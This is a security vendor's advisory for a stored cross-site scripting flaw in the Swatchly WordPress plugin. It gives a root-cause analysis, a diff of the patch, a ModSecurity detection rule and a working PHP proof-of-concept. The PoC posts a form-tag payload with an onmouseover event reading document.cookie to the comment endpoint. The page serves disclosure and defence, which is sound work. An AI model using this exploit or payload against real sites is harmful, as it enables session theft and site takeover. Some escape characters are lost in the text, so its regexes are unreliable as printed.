Published : December 1, 2026

CVE-2026-133368: Swatchly <= 1.4.18 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Plugin swatchly
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.4.18
Patched Version 1.4.19
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133368:nnSwatchly is a WooCommerce product variation swatches plugin for WordPress. Versions up to and including 1.4.18 contain a stored cross-site scripting (XSS) vulnerability in the comment content path. The flaw is rated CVSS 7.2 and maps to CWE-79. Atomic Edge research confirms the vulnerability is gated on Elementor being installed and active.nnRoot Cause: The plugin’s Elementor compatibility layer in swatchly/includes/Compatibility/Elementor.php unconditionally registers add_filter(‘wp_kses_allowed_html’, array($this, ‘related_products_compatibility’), 10, 2) in the constructor whenever Elementor is active. The related_products_compatibility() callback returns an expanded $allowedposttags array that includes the ‘form’ element and its attributes. Because this filter is global, it applies to every wp_kses() call site, including wp_kses_data() used by WordPress on comment content before storage. As a result, the widened kses allowlist leaks into comment sanitization, permitting raw tags and related attributes to survive comment filtering. The Woo_Config.php change on line 111 also force-loaded the variation JS on every page via __return_true, increasing the attack surface. Combined, an unauthenticated commenter can post markup that bypasses default WordPress kses restrictions.nnExploitation: The attacker posts to /wp-comments-post.php with the ‘comment’ parameter containing an XSS payload wrapped in an allowed form element, for example hover, or other event-bearing attributes the widened allowlist accepts. WordPress’s default comment_previously_approved setting auto-approves subsequent comments from the same author name and email after one prior comment is approved. The payload is stored in the comments table and rendered unescaped on any page displaying comments. Visitors trigger execution on interaction (e.g., mouseover). No authentication is required beyond the prior-approval precondition.nnPatch Analysis: Version 1.4.19 replaces the unconditional wp_kses_allowed_html filter with a scoped pair of hooks. add_kses_filter() binds related_products_compatibility() only during elementor/frontend/widget/before_render, and remove_kses_filter() unbinds it on elementor/frontend/widget/after_render. The callback now returns $allowedposttags unchanged unless $context is exactly ‘post’, so non-post contexts (such as comment sanitization) never receive the widened allowlist. Separately, Woo_Config.php replaces the unconditional __return_true filter for swatchly_force_load_add_to_cart_variation_js_file_in_shop with a closure that force-loads the JS only when is_woocommerce() is true. This narrows the frontend attack surface.nnImpact: Successful exploitation yields stored XSS in the context of any user viewing the affected comment, including administrators. An attacker can hijack sessions, inject persistent admin-side actions (creating rogue administrator accounts, installing plugins), exfiltrate cookie and nonce data, and pivot to full site compromise. The 7.2 CVSS reflects network-exploitable, low-complexity, privilege-escalation-class impact. Atomic Edge recommends immediate upgrade to 1.4.19 or later and, as a defense in depth, restricts comment moderation and audits existing comments for injected form elements.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/swatchly/includes/Compatibility/Elementor.php
+++ b/swatchly/includes/Compatibility/Elementor.php
@@ -8,11 +8,26 @@
     public function __construct() {
         if( is_plugin_active('elementor/elementor.php') ){
             // for related products
-            add_filter('wp_kses_allowed_html', array( $this, 'related_products_compatibility' ), 10, 2);
+            // Security: widen kses only while an Elementor widget renders on the frontend,
+            // never on save paths (comments, post content, etc.) to prevent stored XSS.
+            add_action('elementor/frontend/widget/before_render', array( $this, 'add_kses_filter' ));
+            add_action('elementor/frontend/widget/after_render', array( $this, 'remove_kses_filter' ));
         }
     }

+    public function add_kses_filter(){
+        add_filter('wp_kses_allowed_html', array( $this, 'related_products_compatibility' ), 10, 2);
+    }
+
+    public function remove_kses_filter(){
+        remove_filter('wp_kses_allowed_html', array( $this, 'related_products_compatibility' ), 10);
+    }
+
     public function related_products_compatibility( $allowedposttags, $context ){
+        if( 'post' !== $context ){
+            return $allowedposttags;
+        }
+
         $allowedposttags['form'] = array(
             'id' => true,
             'name' => true,
--- a/swatchly/includes/Frontend/Woo_Config.php
+++ b/swatchly/includes/Frontend/Woo_Config.php
@@ -111,7 +111,11 @@
             }
         }, 999);

-        add_filter('swatchly_force_load_add_to_cart_variation_js_file_in_shop', '__return_true');
+        // Only force-load on WooCommerce pages (shop/archives), not on every page that may render user content.
+        // Use this filter to force-load elsewhere (e.g. custom pages with product grids + infinite scroll).
+        add_filter('swatchly_force_load_add_to_cart_variation_js_file_in_shop', function( $force ){
+            return $force || ( function_exists('is_woocommerce') && is_woocommerce() );
+        });
     }

     /**
--- a/swatchly/swatchly.php
+++ b/swatchly/swatchly.php
@@ -3,7 +3,7 @@
  * Plugin Name: Swatchly - Variation Swatches for WooCommerce Products
  * Plugin URI:  https://plugindemo.hasthemes.com/swatchly/
  * Description: Variation Swatches for WooCommerce Products
- * Version:     1.4.18
+ * Version:     1.4.19
  * Author:      HasThemes
  * Author URI:  https://hasthemes.com
  * License:     GPL v2 or later
@@ -29,7 +29,7 @@
      *
      * @since 1.0.0
      */
-    public $version = '1.4.18';
+    public $version = '1.4.19';

     /**
      * The single instance of the class

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133368
# Stored XSS via WordPress comment submission (/wp-comments-post.php).
# The vulnerability is caused by Swatchly widening wp_kses_allowed_html to permit <form>
# on the comment sanitization path (only when Elementor is active). Legitimate WordPress
# comments never contain <form> tags because core kses strips them, so matching <form
# inside the comment parameter is a precise exploit signature with negligible false positives.
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:20261336,phase:2,deny,status:403,chain,msg:'CVE-2026-133368 Swatchly stored XSS via comment form element',severity:'CRITICAL',tag:'CVE-2026-133368',tag:'attack-xss'"
  SecRule ARGS_POST:comment "@rx <s*form[s>]" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133368 - Swatchly <= 1.4.18 - Unauthenticated Stored Cross-Site Scripting via Comment Content
//
// Preconditions for successful exploit:
//   1. Elementor plugin is installed and active (Swatchly gates its kses filter on Elementor).
//   2. The attacker has had at least one prior comment approved on the target site with
//      a fixed author name and email. WordPress then auto-approves subsequent comments
//      from the same name/email pair (comment_previously_approved option).
//
// Usage:
//   php poc.php <target_base_url> <author_name> <author_email>
// Example:
//   php poc.php https://victim.example.com "Attacker" "attacker@example.com"

$target_url   = $argv[1] ?? 'http://localhost';
$author_name  = $argv[2] ?? 'Atomic Edge PoC';
$author_email = $argv[3] ?? 'poc@atomic-edge.example';

// XSS payload wrapped in the <form> element that Swatchly's kses widening allows.
// Default WordPress kses strips <form>; Swatchly's Elementor compatibility filter re-adds it.
$payload = '<form id="ae_xss" onmouseover="alert(document.cookie)" style="display:block;width:100%;height:50px;background:#eee">Atomic Edge CVE-2026-133368 - hover to trigger</form>';

// Comment submission endpoint. WordPress core handles this route.
$endpoint = rtrim($target_url, '/') . '/wp-comments-post.php';

// Extract the post ID from the homepage; we comment on the first post we find.
$homepage = @file_get_contents(rtrim($target_url, '/'));
if ($homepage === false) {
    fwrite(STDERR, "[-] Failed to fetch homepage: $target_urln");
    exit(1);
}
if (!preg_match('/name="comment_post_ID"s+value="(d+)"/i', $homepage, $m)) {
    fwrite(STDERR, "[-] Could not locate comment_post_ID on homepage. Supply a post URL manually.n");
    exit(1);
}
$post_id = $m[1];

// Build the POST body that lands on /wp-comments-post.php.
$post_fields = array(
    'comment'             => $payload,
    'author'              => $author_name,
    'email'               => $author_email,
    'url'                 => '',
    'comment_post_ID'     => $post_id,
    'comment_parent'      => '0',
);

$ch = curl_init($endpoint);
curl_setopt_array($ch, array(
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_TIMEOUT        => 15,
    CURLOPT_HTTPHEADER     => array('Content-Type: application/x-www-form-urlencoded'),
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);

if ($response === false) {
    fwrite(STDERR, "[-] cURL error: $errn");
    exit(1);
}

// WordPress returns 302 to the post or the moderation page on success.
echo "[*] Posted comment to post ID $post_id (HTTP $http_code)n";
echo "[*] Payload: $payloadn";
echo "[*] If the author name/email were previously approved, the comment is now auto-approved.n";
echo "[*] Verify by visiting the post URL while logged out.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.